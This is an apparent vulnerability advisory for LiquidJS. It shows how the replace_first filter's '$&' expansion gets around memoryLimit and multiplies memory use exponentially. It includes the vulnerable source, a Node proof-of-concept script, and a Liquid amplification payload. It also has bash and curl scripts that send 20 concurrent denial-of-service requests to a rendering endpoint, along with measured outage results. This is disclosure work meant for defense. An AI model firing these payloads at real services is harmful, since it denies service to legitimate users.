LiquidJS has Exponential Memory Amplification through its replace_first Filter $& Pattern

### Summary The `replace_first` filter in LiquidJS uses JavaScript's `String.prototype.replace()` which interprets `$&` as a backreference to the matched substring. The filter only charges `memoryLimit` for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the `memoryLimit` budget, leading to denial of service. ### Details The `replace_first` filter in `src/builtin/filters/string.ts:130-133` delegates to JavaScript's native `String.prototype.replace()`. This native method interprets special replacement patterns including `$&` (insert the matched substring), `$'` (insert the portion after the match), and `` $` `` (insert the portion before the match). The filter calls `memoryLimit.use(str.length)` to account for the **input** string's memory cost, but the **output** string — potentially many times larger due to `$&` expansion — is never charged against the memory limit. An attacker can build a 1MB string (within `memoryLimit` budget), then use `replace_first` with a replacement string containing 50 repetitions of `$&`. Each `$&` expands to the full matched string (1MB), producing a 50MB output that is not charged to the memory counter. By chaining this technique across multiple variable assignments, exponential amplification is achieved: | Stage | Input Size | `$&` Repetitions | Output Size | Cumulative `memoryLimit` Charge | |-------|-----------|-------------------|-------------|-------------------------------| | 1 | 1 byte | 50 | 50 bytes | ~1 byte | | 2 | 50 bytes | 50 | 2,500 bytes | ~51 bytes | | 3 | 2,500 bytes | 50 | 125 KB | ~2.6 KB | | 4 | 125 KB | 50 | 6.25 MB | ~128 KB | | 5 | 6.25 MB | 50 | 312.5 MB | ~6.38 MB | **Total amplification factor: ~625,000:1** (312.5 MB output vs. ~6.38 MB charged to `memoryLimit`). Notably, the sibling `replace` filter uses `str.split(pattern).join(replacement)`, which treats `$&` as a literal string and is therefore not vulnerable. The `replace_last` filter uses manual substring operations and is also safe. Only `replace_first` is affected. ```typescript // src/builtin/filters/string.ts:130-133 — VULNERABLE export function replace_first (v: string, arg1: string, arg2: string) { const str = stringify(v) this.context.memoryLimit.use(str.length) // Only charges input return str.replace(stringify(arg1), arg2) // $& expansion uncharged! } // src/builtin/filters/string.ts:125-129 — SAFE (for comparison) export function replace (v: string, arg1: string, arg2: string) { const str = stringify(v) this.context.memoryLimit.use(str.length) return str.split(stringify(arg1)).join(arg2) // split/join: $& treated as literal } ``` ### PoC **Prerequisites**: - `npm install liquidjs@10.24.0` - An application that renders user-provided Liquid templates (CMS, newsletter editor, SaaS platform, etc.) Save the following as `poc_replace_first_amplification.js` and run with `node poc_replace_first_amplification.js`: ```javascript const { Liquid } = require('liquidjs'); (async () => { const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit // Step 1 — Verify $& expansion in replace_first console.log('=== Step 1: $& expansion in replace_first ==='); const step1 = '{{ "HELLO" | replace_first: "HELLO", "$&-$&-$&" }}'; console.log('Result:', await engine.parseAndRender(step1)); // Output: "HELLO-HELLO-HELLO" — $& expanded to matched string // Step 2 — Verify replace (split/join) is safe console.log('\n=== Step 2: replace is safe ==='); const step2 = '{{ "ABCDE" | replace: "ABCDE", "$&$&$&" }}'; console.log('Result:', await engine.parseAndRender(step2)); // Output: "$&$&$&" — $& treated as literal // Step 3 — 5-stage exponential amplification (50x per stage) console.log('\n=== Step 3: Exponential amplification (625,000:1) ==='); const amp50 = '$&'.repeat(50); const step3 = [ '{% assign s = "A" %}', '{% assign s = s | replace_first: s, "' + amp50 + '" %}', '{% assign s = s | replace_first: s, "' + amp50 + '" %}', '{% assign s = s | replace_first: s, "' + amp50 + '" %}', '{% assign s = s | replace_first: s, "' + amp50 + '" %}', '{% assign s = s | replace_first: s, "' + amp50 + '" %}', '{{ s | size }}' ].join(''); const startMem = process.memoryUsage().heapUsed; const result = await engine.parseAndRender(step3); const endMem = process.memoryUsage().heapUsed; console.log('Output string size:', result.trim(), 'bytes'); // "312500000" console.log('Heap increase:', ((endMem - startMem) / 1e6).toFixed(1), 'MB'); console.log('Amplification: ~625,000:1 (1 byte input -> 312.5 MB output)'); console.log('memoryLimit charged: < 7 MB (only input lengths counted)'); })(); ``` **Expected output:** ``` === Step 1: $& expansion in replace_first === Result: HELLO-HELLO-HELLO === Step 2: replace is safe === Result: $&$&$& === Step 3: Exponential amplification (625,000:1) === Output string size: 312500000 bytes Heap increase: ~625.0 MB Amplification: ~625,000:1 (1 byte input → 312.5 MB output) memoryLimit charged: < 7 MB (only input lengths counted) ``` The `memoryLimit` of 100MB is completely bypassed — 312.5 MB is allocated while only ~6.38 MB is charged to the memory counter. #### Demonstrated Denial of Service (concurrent attack) After confirming the single-request PoC, launch 20 concurrent attacks + legitimate user requests to measure actual service disruption. **Raw Liquid template payload sent by attacker:** ```liquid {% assign s = "A" %} {% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %} {% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %} {% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %} {% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %} {% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %} {{ s }} ``` > `$&` is a JavaScript `String.prototype.replace()` backreference pattern that inserts the entire matched string. Each stage amplifies 50x → 5 stages = 50^5 = 312,500,000 characters (~312.5MB). `{{ s }}` forces the full output into the HTTP response, keeping memory allocated during transfer and blocking the Node.js event loop. ```bash #!/bin/bash # DoS demonstration: 20 concurrent attacks + legitimate user latency measurement DOLLAR='$&' REP50=$(printf "${DOLLAR}%.0s" {1..50}) PAYLOAD="{% assign s = \"A\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{{ s }}" echo "=== Advisory 2 DoS: 20 concurrent + normal user ===" # 20 DoS attack requests (per-request timing) for i in $(seq 1 20); do ( t1=$(date +%s%3N) curl -s -o /dev/null --max-time 120 -X POST "http://<app>/newsletter/preview" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "template=$PAYLOAD" t2=$(date +%s%3N) echo "DoS[$i]: $(( t2 - t1 ))ms" ) & done # Legitimate user requests at 0s, 3s, 6s ( t1=$(date +%s%3N) curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "template=<h1>Hello</h1>" t2=$(date +%s%3N) echo "Normal[0s]: $(( t2 - t1 ))ms" ) & ( sleep 3 t1=$(date +%s%3N) curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "template=<h1>Hello</h1>" t2=$(date +%s%3N) echo "Normal[3s]: $(( t2 - t1 ))ms" ) & ( sleep 6 t1=$(date +%s%3N) curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "template=<h1>Hello</h1>" t2=$(date +%s%3N) echo "Normal[6s]: $(( t2 - t1 ))ms" ) & wait echo "=== Done ===" ``` **Empirical results** (Node.js v20.20.1, LiquidJS 10.24.0): ``` Normal[0s]: 13047ms ← request sent concurrently with attack — 13s delay Normal[3s]: 10124ms ← still blocked 3 seconds later — 10s delay Normal[6s]: 7186ms ← still blocked 6 seconds later — 7s delay DoS[1]: 14729ms DoS[2-20]: 17747ms ~ 25353ms ``` With 20 concurrent requests, legitimate users experience **up to 13-second delays**. Requests sent 6 seconds after the attack began still take 7 seconds, confirming sustained service disruption throughout the ~25-second attack window. Each attack request costs only ~500 bytes. #### HTTP Reproduction (for applications that accept user templates) ```bash # $& expansion — should return "HELLO-HELLO-HELLO" curl -s -X POST http://<app>/render \ -H "Content-Type: application/json" \ -d '{"template": "{{ \"HELLO\" | replace_first: \"HELLO\", \"$&-$&-$&\" }}"}' # replace is safe — should return literal "$&$&$&" curl -s -X POST http://<app>/render \ -H "Content-Type: application/json" \ -d '{"template": "{{ \"ABCDE\" | replace: \"ABCDE\", \"$&$&$&\" }}"}' # 5-stage 50x amplification — produces ~312.5MB response curl -s -X POST http://<app>/render \ -H "Content-Type: application/json" \ -d '{"template": "{% assign s = \"A\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{{ s | size }}"}' ``` ```bash # 20 concurrent DoS attack requests for i in $(seq 1 20); do curl -s -o /dev/null --max-time 120 -X POST "http://<app>/render" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode 'template={% assign s = "A" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{{ s }}' & done # Legitimate user request (concurrent) curl -w "Normal: %{time_total}s\n" -s -o /dev/null --max-time 60 -X POST "http://<app>/render" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode 'template=<h1>Hello</h1>' & wait ``` Replace `http://<app>/render` with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework. ### Impact - **`memoryLimit` security bypass**: The memory limit is rendered ineffective for templates using `replace_first` with `$&` patterns. - **Demonstrated Denial of Service**: A single request allocates 312.5 MB (625 MB heap). Concurrent requests cause **complete service unavailability**. Due to Node.js single-threaded architecture, the event loop is blocked and all legitimate user requests are stalled. - **Measured service disruption** (LiquidJS 10.24.0, Node.js v20, empirically verified): | Concurrent Attack Requests | Legitimate User Latency | vs. Baseline | Server Blocked | |---------------------------|------------------------|-------------|---------------| | 10 | 3.2s | **640x** | ~11s | | 20 | **10.9s** | **2,180x** | ~29s | With 20 concurrent requests, legitimate user requests are **delayed by 10.9 seconds** and the server becomes **completely unresponsive for 29 seconds**. Requests sent 6 seconds after the attack began still took 8 seconds, confirming sustained service disruption throughout the attack window. The attack cost is ~500 bytes per HTTP request.